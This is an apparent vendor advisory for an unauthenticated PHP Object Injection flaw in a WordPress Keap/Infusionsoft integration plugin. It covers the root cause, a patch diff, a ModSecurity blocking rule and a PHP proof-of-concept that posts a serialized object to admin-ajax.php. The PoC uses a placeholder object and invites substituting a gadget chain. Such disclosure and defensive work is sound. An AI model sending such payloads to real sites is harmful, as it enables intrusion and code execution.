Atomic Edge analysis of CVE-2026-49104:
This vulnerability allows unauthenticated PHP Object Injection in the Integration for Keap/Infusionsoft plugin (versions up to and including 1.2.1). The flaw exists in the plugin’s data handling logic that processes serialized payloads without proper sanitization. The CVSS score of 8.1 reflects the severe risk of remote code execution if a viable POP chain exists in the target environment.
Root Cause: The vulnerable code resides in /wp-content/plugins/cf7-infusionsoft/cf7-infusionsoft.php at line 929. The function unconditionally calls maybe_unserialize() on user-controllable input stored in the $value variable. This input originates from untrusted sources such as form submissions processed by the plugin’s integration handlers. Atomic Edge analysis confirms that the plugin does not validate the serialized data before passing it to maybe_unserialize(), thereby enabling an attacker to inject arbitrary PHP objects.
Exploitation: An unauthenticated attacker sends a crafted HTTP POST request to an endpoint handled by the plugin, such as an AJAX action or a form submission processing handler. The attacker includes a serialized PHP object payload as the value of a form field. The plugin extracts the field value without sanitization and passes it to maybe_unserialize(). Since the plugin’s code does not enforce type checks before calling the function, the attacker can inject a serialized object defined in any installed plugin or theme. The specific endpoint and parameter depend on the form integration (e.g., Contact Form 7, WPForms, Elementor). For example, a POST to /wp-admin/admin-ajax.php with action=vxcf_infusionsoft_process and a parameter containing a serialized POP chain triggers the vulnerability.
Patch Analysis: The patch, introduced in version 1.2.2, comments out the maybe_unserialize() call on line 929 by prefixing it with // UNSAFE: unserializes user input. Before the patch, the code processed $value with maybe_unserialize() regardless of whether it was a serialized string. After the patch, the unsafe call is entirely removed, preventing any deserialization of untrusted data. The fix does not add sanitization or validation; instead it disables the dangerous operation altogether. This is a secure approach because the plugin does not require serialized input from users.
Impact: Successful exploitation could allow an attacker to delete arbitrary files, retrieve sensitive information, or execute arbitrary code, provided a POP (Property Oriented Programming) chain exists in any plugin or theme installed on the WordPress site. Since the attacker does not need authentication, the vulnerability is particularly dangerous for sites with contributory POP chains. The attack has no impact on availability or integrity if no POP chain is present, but the potential for remote code execution makes immediate patching critical.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/cf7-infusionsoft/cf7-infusionsoft.php
+++ b/cf7-infusionsoft/cf7-infusionsoft.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: WP Contact Form Infusionsoft
* Description: Integrates Contact Form 7, <a href="https://wordpress.org/plugins/contact-form-entries/">Contact Form Entries Plugin</a> and many other forms with Infusionsoft allowing form submissions to be automatically sent to your Infusionsoft account
-* Version: 1.2.1
+* Version: 1.2.2
* Requires at least: 3.8
* Author URI: https://www.crmperks.com
* Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/contact-form-infusionsoft-plugin/
@@ -25,7 +25,7 @@
public $crm_name = "infusionsoft";
public $id = "vxcf_infusionsoft";
public $domain = "vxcf-infusionsoft";
- public $version = "1.2.1";
+ public $version = "1.2.2";
public $update_id = "6000001";
public $min_cf_version = "1.0";
public $type = "vxcf_infusionsoft";
@@ -926,7 +926,7 @@
$value=$value['value'];
}
if(!is_array($value)){
- $value=maybe_unserialize($value);
+ // $value=maybe_unserialize($value); UNSAFE: unserializes user input
}
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-49104
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-49104 Unauthenticated PHP Object Injection via AJAX action',severity:'CRITICAL',tag:'CVE-2026-49104'"
SecRule ARGS_POST:action "@rx ^vxcf_infusionsoft_"
"chain"
SecRule ARGS_POST "@rx ^O:[0-9]+:"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49104 - Integration for Keap/infusionsoft <= 1.2.1 Unauthenticated PHP Object Injection
// Define target URL and parameters
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$action = 'vxcf_infusionsoft_process'; // Example AJAX action
$field_name = 'vxcf_field'; // Parameter name that is unserialized
// Build a serialized payload (simple test object)
// Replace with actual POP chain if available
$payload = serialize(new stdClass()); // Simple object; attacker would use a gadget chain
// Craft POST data
$post_data = array(
'action' => $action,
$field_name => $payload
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch);
} else {
echo 'Response: ' . $response;
}
curl_close($ch);
